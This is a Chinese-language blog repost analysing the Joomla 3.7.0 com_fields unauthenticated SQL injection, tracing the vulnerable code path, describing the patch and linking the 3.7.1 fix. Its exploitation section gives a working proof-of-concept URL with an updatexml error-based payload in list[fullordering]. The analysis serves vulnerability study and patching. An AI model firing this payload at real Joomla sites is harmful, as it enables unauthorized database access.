JoomlaV3.7核心组件无需登录SQL注入漏洞

栏目: 数据库 · 发布时间: 7年前

内容简介:JoomlaV3.7核心组件无需登录SQL注入漏洞

阅读: 201

Joomla!是世界上最受欢迎的内容管理系统(CMS)解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。

在Joomla!3.7.0版本中新引入了一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。但是由于 程序员 设计缺陷,从这个组建中导入了同名的后台管理员组件,而正好在这个后台的同名组建中由于对用户输入过滤不严格,导致严重 SQL 注入漏洞。

文章目录

漏洞分析

首先看看前台的这个组件com_fields, \Joomla_3.7.0\components\com_fields目录,controller.php文件:

class FieldsController extends JControllerLegacy
{
   public function __construct($config = array())
   {
      $this->input = JFactory::getApplication()->input;
 
      // Frontpage Editor Fields Button proxying:
      if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
      {
         // Load the backend language file.
         $lang = JFactory::getLanguage();
         $lang->load('com_fields', JPATH_ADMINISTRATOR);
 
         $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
      }
 
      parent::__construct($config);
   }
}

这里我们可以看到当我们的参数view=fields,layout=modal时,

url=http://localhost/index.php?option=com_fields&view=fields&layout=modal

此时设置$config[‘base_path’] = JPATH_COMPONENT_ADMINISTRATOR;

设置为管理后的组件路径: \Joomla_3.7.0\administrator\components\

跟进parent::__construct($config)

文件\Joomla_3.7.0\libraries\legacy\controller\legacy.php

public function __construct($config = array())
{
   $this->methods = array();
   $this->message = null;
   $this->messageType = 'message';
   $this->paths = array();
   $this->redirect = null;
   $this->taskMap = array();
……
// Set a base path for use by the controller
if (array_key_exists('base_path', $config))
{
   $this->basePath = $config['base_path'];
}
else
{
   $this->basePath = JPATH_COMPONENT;
}
……
/ Set the default model search path
if (array_key_exists('model_path', $config))
{
   // User-defined dirs
   $this->addModelPath($config['model_path'], $this->model_prefix);
}
else
{
   $this->addModelPath($this->basePath . '/models', $this->model_prefix);
}
}

这里先获取base_path的值,然后在加载这个路径的模块。

然后进入\Joomla_3.7.0\components\com_fields\fields.php文件

JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');
 
$controller = JControllerLegacy::getInstance('Fields');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();

进入execute函数,文件\Joomla_3.7.0\libraries\legacy\controller\legacy.php跟进:

public function execute($task)
{
   $this->task = $task;
 
   $task = strtolower($task);
 
   if (isset($this->taskMap[$task]))
   {
      $doTask = $this->taskMap[$task];
   }
   elseif (isset($this->taskMap['__default']))
   {
      $doTask = $this->taskMap['__default'];
   }
   else
   {
      throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404);
   }
 
   // Record the actual task being fired
   $this->doTask = $doTask;
 
   return $this->$doTask();
}

这里的task的值你可以为display,或者你可以不设置task也可以,因为默认

$this-> taskMap [‘__default’]的值就是display。

最后return $this->$doTask()就等于return $this->display();

public function display($cachable = false, $urlparams = array())
{
   $document = JFactory::getDocument();
   $viewType = $document->getType();
   $viewName = $this->input->get('view', $this->default_view);
   $viewLayout = $this->input->get('layout', 'default', 'string');
 
   $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
 
   // Get/Create the model
   if ($model = $this->getModel($viewName))
   {
      // Push the model into the view (as default)
      $view->setModel($model, true);
   }
 
   $view->document = $document;
 
   // Display the view
   if ($cachable && $viewType != 'feed' && JFactory::getConfig()->get('caching') >= 1)
   {
     ……   }
   else
   {
      $view->display();
   }
   return $this;
}

这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel获取对应的模型,返回一个model对象,接着再调用setModel函数将获取的model模型push到前面获取的view中去。

最后调用前面获取的view视图的display函数。

文件\Joomla_3.7.0\administrator\components\com_fields\views\fields\view.html.php

public function display($tpl = null)
{
   $this->state         = $this->get('State');
   $this->items         = $this->get('Items');
   $this->pagination    = $this->get('Pagination');
   $this->filterForm    = $this->get('FilterForm');
   $this->activeFilters = $this->get('ActiveFilters');
……
}

第一步,跟进这里的get(‘State’),文件\Joomla_3.7.0\libraries\legacy\view\legacy.php

public function get($property, $default = null)
{
   // If $model is null we use the default model
   if (is_null($default))
   {
      $model = $this->_defaultModel;
   }
   else
   {
      $model = strtolower($default);
   }
 
   // First check to make sure the model requested exists
   if (isset($this->_models[$model]))
   {
      // Model exists, let's build the method name
      $method = 'get' . ucfirst($property);
 
      // Does the method exist?
      if (method_exists($this->_models[$model], $method))
      {
         // The method exists, let's call it and return what we get
         $result = $this->_models[$model]->$method();
         return $result;
      }
   }

这里我们的$property是我们传进的实参也就是’State’,那么拼接起来后的方法名$method就是getState方法,然后调用这个方法。

getState方法在文件\Joomla_3.7.0\libraries\legacy\model\legacy.php中

public function getState($property = null, $default = null)
{
   if (!$this->__state_set)
   {
      // Protected method to auto-populate the model state.
      $this->populateState();
 
      // Set the model state set flag to true.
      $this->__state_set = true;
   }
 
   return $property === null ? $this->state : $this->state->get($property, $default);
}

然后调用populateState方法,文件

\Joomla_3.7.0\administrator\components\com_fields\models\fields.php

protected function populateState($ordering = null, $direction = null)
{
   // List state information.
   parent::populateState('a.ordering', 'asc');
 
   $context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
   $this->setState('filter.context', $context);
 
   // Split context into component and optional section
   $parts = FieldsHelper::extract($context);
 
   if ($parts)
   {
      $this->setState('filter.component', $parts[0]);
      $this->setState('filter.section', $parts[1]);
   }
}

在populateState方法中调用了父类的populateState方法,跟进

文件\Joomla_3.7.0\libraries\legacy\model\list.php

protected function populateState($ordering = null, $direction = null)
{
……
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
   foreach ($list as $name => $value)
   {
      // Exclude if blacklisted
      if (!in_array($name, $this->listBlacklist))
      {
         // Extra validations
         switch ($name)
         {
            case 'fullordering':
               $orderingParts = explode(' ', $value);
 
               if (count($orderingParts) >= 2)
               {
                  // Latest part will be considered the direction
                  $fullDirection = end($orderingParts);
 
                  if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
                  {
                     $this->setState('list.direction', $fullDirection);
                  }
 
                  unset($orderingParts[count($orderingParts) - 1]);
 
                  // The rest will be the ordering
                  $fullOrdering = implode(' ', $orderingParts);
 
                  if (in_array($fullOrdering, $this->filter_fields))
                  {
                     $this->setState('list.ordering', $fullOrdering);
                  }
               }
               else
               {
                  $this->setState('list.ordering', $ordering);
                  $this->setState('list.direction', $direction);
               }
               break;
                      }
 
         $this->setState('list.' . $name, $value);
      }
   }
}

从代码中可以看到,这里首先获取用户的输入内容赋值给list,然后变量list,然后当name等于fullordering的时候就对list[name]对应的value进行处理,这里对value进行了两次判断,如果条件成立就设置setState,但是这里两个条件都不成立,到最后统一来一次setState,问题就出在这里了,虽然前面各种判断有异常,但是到之后还是统一进行了setState。

第二步,跟进这里的get(‘Items’),文件\Joomla_3.7.0\libraries\legacy\model\list.php

public function getItems()
{
   // Get a storage key.
   $store = $this->getStoreId();
 
   // Try to load the data from internal storage.
   if (isset($this->cache[$store]))
   {
      return $this->cache[$store];
   }
 
   try
   {
      // Load the list items and add the items to the internal cache.
      $this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
   }
   catch (RuntimeException $e)
   {
      $this->setError($e->getMessage());
 
      return false;
   }
 
   return $this->cache[$store];
}

这里调用了当前类的_getListQuery函数

protected function _getListQuery()
{
   // Capture the last store id used.
   static $lastStoreId;
 
   // Compute the current store id.
   $currentStoreId = $this->getStoreId();
 
   // If the last store id is different from the current, refresh the query.
   if ($lastStoreId != $currentStoreId || empty($this->query))
   {
      $lastStoreId = $currentStoreId;
      $this->query = $this->getListQuery();
   }
 
   return $this->query;
}

然后又调用当前类的getListQuery方法

protected function getListQuery()
{
   // Create a new query object.
   $db    = $this->getDbo();
   $query = $db->getQuery(true);
   $user  = JFactory::getUser();
   $app   = JFactory::getApplication();
……
// Add the list ordering clause
$listOrdering = $this->getState('list.fullordering', 'a.ordering');
$orderDirn    = '';
 
if (empty($listOrdering))
{
   $listOrdering  = $this->state->get('list.ordering', 'a.ordering');
   $orderDirn     = $this->state->get('list.direction', 'DESC');
}
 
$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));    
 
return $query;

先获取我们输入的list.fullordering,也就是list[fullordering]的值,然后通过escape处理,再通过order构造返回要query。

Escape也就是通过函数mysqli_real_escape_string简单处理。

看看order干了什么,文件\Joomla_3.7.0\libraries\joomla\database\query.php

public function order($columns)
{
   if (is_null($this->order))
   {
      $this->order = new JDatabaseQueryElement('ORDER BY', $columns);
   }
   else
   {
      $this->order->append($columns);
   }
   return $this;
}

可以看到也就是简单的赋值过程,没有什么过滤处理。

所以上面的过程,我们输入的list[fullordering]的值就成功到这里的query了,最后被sql执行,导致sql注入漏洞。

最后query的值如下图:

JoomlaV3.7核心组件无需登录SQL注入漏洞

漏洞利用

简单的程序验证:

http://10.65.20.198/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal &filter[search]=123&list[fullordering]=updatexml(0x3a,concat(1,(select%20md5(1))),1)

这里GET请求或者POST请求都可以

http://10.65.20.198/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal

task=display&filter[search]=123&list[fullordering]=updatexml(0x3a,concat(1,(select%20md5(1))),1)

JoomlaV3.7核心组件无需登录SQL注入漏洞

漏洞修复

看看补丁的修复过程,如下图:

JoomlaV3.7核心组件无需登录SQL注入漏洞

在文件\Joomla_3.7.0\libraries\legacy\model\list.php中,处理fullordering的时候,当不满足条件时,添加else条件处理过程,使用系统默认的值进行查询。

升级最新版完整安装包以及升级补丁包

https://downloads.joomla.org/cms/joomla3/3-7-1

参考链接

https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html

http://bobao.360.cn/learning/detail/3868.html

如果您需要了解更多内容,可以

加入QQ群:570982169

直接询问:010-68438880


以上所述就是小编给大家介绍的《JoomlaV3.7核心组件无需登录SQL注入漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

禅与摩托车维修艺术

禅与摩托车维修艺术

(美)罗伯特·M.波西格 / 张国辰 / 重庆出版社 / 2011-9 / 36.00元

在一个炎热的夏天,父子两人和约翰夫妇骑摩托车从明尼苏达到加州,跨越美国大陆,旅行的过程与一个青年斐德洛研修科学技术与西方经典,寻求自我的解脱,以及探寻生命的意义的过程相互穿插。一路上父亲以一场哲学肖陶扩的形式,将见到的自然景色,野外露营的经历,夜晚旅店的谈话,机车修护技术等等日常生活与西方从苏格拉底以来的理性哲学的深入浅出的阐述与评论相结合,进行了对形而上学传统的主客体二元论的反思,以及对科学与艺......一起来看看 《禅与摩托车维修艺术》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

URL 编码/解码
URL 编码/解码

URL 编码/解码